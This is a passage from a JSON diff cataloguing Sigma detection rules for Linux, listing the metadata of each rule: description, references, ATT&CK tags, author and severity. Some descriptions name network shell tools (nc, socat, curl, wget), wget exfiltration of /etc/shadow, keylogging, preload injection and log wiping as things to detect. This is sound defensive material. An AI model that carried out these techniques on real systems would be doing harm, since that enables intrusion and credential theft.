"https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1560.001" + ], + "creation_date": "2019/10/21", + "filename": "lnx_auditd_data_compressed.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate use of archiving tools by legitimate user." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n", + "uuid": "cb39d16b-b3b6-4a7a-8222-1cf24b686ffc", + "value": "Data Exfiltration with Wget", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0010/", + "https://linux.die.net/man/1/wget", + "https://gtfobins.github.io/gtfobins/wget/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2021/11/18", + "filename": "lnx_auditd_data_exfil_wget.yml", + "author": "Pawel Mazur", + "level": "medium", + "falsepositive": [ + "Legitimate usage of wget utility to post a file" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects overwriting (effectively wiping/deleting) of a file.", + "uuid": "37222991-11e9-4b6d-8bdf-60fbe48f753e", + "value": "Overwriting the File with Dev Zero or Null", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2019/10/23", + "filename": "lnx_auditd_dd_delete_file.yml", + "author": "Jakob Weinzettl, oscd.community", + "level": "low", + "falsepositive": [ + "Appending null bytes to files.", + "Legitimate overwrite of files." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.", + "uuid": "53059bc0-1472-438b-956a-7508a94a91f0", + "value": "Disable System Firewall", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://attack.mitre.org/techniques/T1562/004/", + "https://firewalld.org/documentation/man-pages/firewall-cmd.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml" + ], + "tags": [ + "attack.t1562.004", + "attack.defense_evasion" + ], + "creation_date": "2022/01/22", + "filename": "lnx_auditd_disable_system_firewall.yml", + "author": "Pawel Mazur", + "level": "high", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects file and folder permission changes.", + "uuid": "74c01ace-0152-4094-8ae2-6fd776dd43e5", + "value": "File or Folder Permissions Change", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ], + "creation_date": "2019/09/23", + "filename": "lnx_auditd_file_or_folder_permissions.yml", + "author": "Jakob Weinzettl, oscd.community", + "level": "low", + "falsepositive": [ + "User interacting with files permissions (normal/daily behaviour)." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detecting attempts to extract passwords with grep", + "uuid": "df3fcaea-2715-4214-99c5-0056ea59eb35", + "value": "Credentials In Files", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_find_cred_in_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2020/10/15", + "filename": "lnx_auditd_find_cred_in_files.yml", + "author": "Igor Fits, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character", + "uuid": "d08722cd-3d09-449a-80b4-83ea2d9d4616", + "value": "Hidden Files and Directories", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", + "https://attack.mitre.org/techniques/T1564/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2021/09/06", + "filename": "lnx_auditd_hidden_files_directories.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects appending of zip file to image", + "uuid": "45810b50-7edc-42ca-813b-bdac02fb946b", + "value": "Steganography Hide Zip Information in Picture File", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ], + "creation_date": "2021/09/09", + "filename": "lnx_auditd_hidden_zip_files_steganography.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detect attempt to enable auditing of TTY input", + "uuid": "49aae26c-450e-448b-911d-b3c13d178dfc", + "value": "Linux Keylogging with Pam.d", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", + "https://attack.mitre.org/techniques/T1003/", + "https://linux.die.net/man/8/pam_tty_audit", + "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", + "https://access.redhat.com/articles/4409591#audit-record-types-2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1056.001" + ], + "creation_date": "2021/05/24", + "filename": "lnx_auditd_keylogging_with_pam_d.yml", + "author": "Pawel Mazur", + "level": "high", + "falsepositive": [ + "Administrative work" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.", + "uuid": "4b3cb710-5e83-4715-8c45-8b2b5b3e5751", + "value": "Modification of ld.so.preload", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", + "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.006" + ], + "creation_date": "2019/10/24", + "filename": "lnx_auditd_ld_so_preload_mod.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n", + "uuid": "106d7cbd-80ff-4985-b682-a7043e5acb72", + "value": "Loading of Kernel Module via Insmod", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1547/006/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", + "https://linux.die.net/man/8/insmod", + "https://man7.org/linux/man-pages/man8/kmod.8.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.006" + ], + "creation_date": "2021/11/02", + "filename": "lnx_auditd_load_module_insmod.yml", + "author": "Pawel Mazur", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detect changes of syslog daemons configuration files", + "uuid": "c830f15d-6f6e-430f-8074-6f73d6807841", + "value": "Logging Configuration Changes on Linux Host", + "meta": { + "refs": [ + "self experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.006" + ], + "creation_date": "2019/10/25", + "filename": "lnx_auditd_logging_config_change.yml", + "author": "Mikhail Larin, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n", + "uuid": "9d4548fa-bba0-4e88-bd66-5d5bf516cda0", + "value": "Masquerading as Linux Crond Process", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_masquerading_crond.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ], + "creation_date": "2019/10/21", + "filename": "lnx_auditd_masquerading_crond.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local or remote network services.", + "uuid": "3761e026-f259-44e6-8826-719ed8079408", + "value": "Linux Network Service Scanning", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2020/10/21", + "filename": "lnx_auditd_network_service_scanning.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", + "uuid": "f4d3748a-65d1-4806-bd23-e25728081d01", + "value": "Network Sniffing", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ], + "creation_date": "2019/10/21", + "filename": "lnx_auditd_network_sniffing.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrator or user uses network sniffing tool for legitimate reasons." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\nMicrosoft Azure, and Microsoft Operations Management Suite.\n", + "uuid": "045b5f9c-49f7-4419-a236-9854fb3c827a", + "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand", + "meta": { + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ], + "creation_date": "2021/09/17", + "filename": "lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects password policy discovery commands", + "uuid": "ca94a6db-8106-4737-9ed2-3e3bb826af0a", + "value": "Password Policy Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", + "https://attack.mitre.org/techniques/T1201/", + "https://linux.die.net/man/1/chage", + "https://man7.org/linux/man-pages/man1/passwd.1.html", + "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1201" + ], + "creation_date": "2020/10/08", + "filename": "lnx_auditd_password_policy_discovery.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community, Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects a reload or a start of a service.", + "uuid": "2625cc59-0634-40d0-821e-cb67382a3dd7", + "value": "Systemd Service Reload or Start", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1543/002/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.002" + ], + "creation_date": "2019/09/23", + "filename": "lnx_auditd_pers_systemd_reload.yml", + "author": "Jakob Weinzettl, oscd.community", + "level": "low", + "falsepositive": [ + "Installation of legitimate service.", + "Legitimate reconfiguration of service." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects adversary creating screen capture of a desktop with Import Tool.\nHighly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\nImageMagick must be installed.\n", + "uuid": "dbe4b9c5-c254-4258-9688-d6af0b7967fd", + "value": "Screen Capture with Import Tool", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://attack.mitre.org/techniques/T1113/", + "https://linux.die.net/man/1/import", + "https://imagemagick.org/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2021/09/21", + "filename": "lnx_auditd_screencapture_import.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate use of screenshot utility" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations", + "uuid": "e2f17c5d-b02a-442b-9052-6eb89c9fec9c", + "value": "Screen Capture with Xwd", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", + "https://attack.mitre.org/techniques/T1113/", + "https://linux.die.net/man/1/xwd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2021/09/13", + "filename": "lnx_auditd_screencaputre_xwd.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate use of screenshot utility" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", + "uuid": "2dad0cba-c62a-4a4f-949f-5f6ecd619769", + "value": "Split A File Into Pieces", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1030" + ], + "creation_date": "2020/10/15", + "filename": "lnx_auditd_split_file_into_pieces.yml", + "author": "Igor Fits, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects embeding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", + "uuid": "ce446a9e-30b9-4483-8e38-d2c9ad0a2280", + "value": "Steganography Hide Files with Steghide", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ], + "creation_date": "2021/09/11", + "filename": "lnx_auditd_steghide_embed_steganography.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", + "uuid": "a5a827d9-1bbe-4952-9293-c59d897eb41b", + "value": "Steganography Extract Files with Steghide", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ], + "creation_date": "2021/09/11", + "filename": "lnx_auditd_steghide_extract_steganography.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n", + "uuid": "f7158a64-6204-4d6d-868a-6e6378b467e0", + "value": "Suspicious C2 Activities", + "meta": { + "refs": [ + "https://github.com/Neo23x0/auditd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2020/05/18", + "filename": "lnx_auditd_susp_c2_commands.yml", + "author": "Marie Euler", + "level": "medium", + "falsepositive": [ + "Admin or User activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects relevant commands often related to malware or hacking activity", + "uuid": "1543ae20-cbdf-4ec1-8d12-7664d667a825", + "value": "Suspicious Commands Linux", + "meta": { + "refs": [ + "Internal Research - mostly derived from exploit code including code in MSF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2017/12/12", + "filename": "lnx_auditd_susp_cmds.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity", + "uuid": "a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc", + "value": "Program Executions in Suspicious Folders", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml" + ], + "tags": [ + "attack.t1587", + "attack.t1584", + "attack.resource_development" + ], + "creation_date": "2018/01/23", + "filename": "lnx_auditd_susp_exe_folders.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Admin activity (especially in /tmp folders)", + "Crazy web applications" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects commandline operations on shell history files", + "uuid": "eae8ce9f-bde9-47a6-8e79-f20d18419910", + "value": "Suspicious History File Operations", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ], + "creation_date": "2020/10/17", + "filename": "lnx_auditd_susp_histfile_operations.yml", + "author": "Mikhail Larin, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity", + "Legitimate software, cleaning hist file" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.", + "uuid": "1bac86ba-41aa-4f62-9d6b-405eac99b485", + "value": "Systemd Service Creation", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1543/002/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.002" + ], + "creation_date": "2022/02/03", + "filename": "lnx_auditd_systemd_service_creation.yml", + "author": "Pawel Mazur", + "level": "medium", + "falsepositive": [ + "Admin work like legit service installs." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects System Information Discovery commands", + "uuid": "f34047d9-20d3-4e8b-8672-0a35cc50dc71", + "value": "System Information Discovery", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1082/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2021/09/03", + "filename": "lnx_auditd_system_info_discovery.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects system information discovery commands", + "uuid": "1f358e2e-cb63-43c3-b575-dfb072a6814f", + "value": "System Information Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2020/10/08", + "filename": "lnx_auditd_system_info_discovery2.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", + "uuid": "4cb57c2f-1f29-41f8-893d-8bed8e1c1d2f", + "value": "System Shutdown/Reboot", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ], + "creation_date": "2020/10/15", + "filename": "lnx_auditd_system_shutdown_reboot.yml", + "author": "Igor Fits, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects extracting of zip file from image file", + "uuid": "edd595d7-7895-4fa7-acb3-85a18a8772ca", + "value": "Steganography Unzip Hidden Information From Picture File", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ], + "creation_date": "2021/09/09", + "filename": "lnx_auditd_unzip_hidden_zip_files_steganography.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", + "uuid": "9a0d8ca0-2385-4020-b6c6-cb6153ca56f3", + "value": "System Owner or User Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_user_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2019/10/21", + "filename": "lnx_auditd_user_discovery.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "low", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects possible command execution by web application/web shell", + "uuid": "c0d3734d-330f-4a03-aae2-65dacc6a8222", + "value": "Webshell Remote Command Execution", + "meta": { + "refs": [ + "personal experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2019/10/12", + "filename": "lnx_auditd_web_rce.yml", + "author": "Ilyas Ochkov, Beyu Denis, oscd.community", + "level": "critical", + "falsepositive": [ + "Admin activity", + "Crazy web applications" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious shell commands used in various Equation Group scripts and tools", + "uuid": "41e5c73d-9983-4b69-bd03-e13b67e9623c", + "value": "Equation Group Indicators", + "meta": { + "refs": [ + "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_apt_equationgroup_lnx.yml" + ], + "tags": [ + "attack.execution", + "attack.g0020", + "attack.t1059.004" + ], + "creation_date": "2017/04/09", + "filename": "lnx_apt_equationgroup_lnx.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects buffer overflow attempts in Unix system log files", + "uuid": "18b042f0-2ecd-4b6e-9f8d-aa7a7e7de781", + "value": "Buffer Overflow Attempts", + "meta": { + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/attack_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_buffer_overflows.yml" + ], + "tags": [ + "attack.t1068", + "attack.privilege_escalation" + ], + "creation_date": "2017/03/01", + "filename": "lnx_buffer_overflows.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects specific commands commonly used to remove or empty the syslog", + "uuid": "e09eb557-96d2-4de9-ba2d-30f712a5afd3", + "value": "Commands to Clear or Remove the Syslog", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/fc614fb4bda24ae8ca2c44e812d12c0fab6dd7a097472a35dd12ded053ab8474", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_clear_syslog.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565.001" + ], + "creation_date": "2021/09/10", + "filename": "lnx_clear_syslog.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Log rotation" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious modification of crontab file.", + "uuid": "af202fd3-7bff-4212-a25a-fb34606cfcbe", + "value": "Modifying Crontab", + "meta": { + "refs": [ + 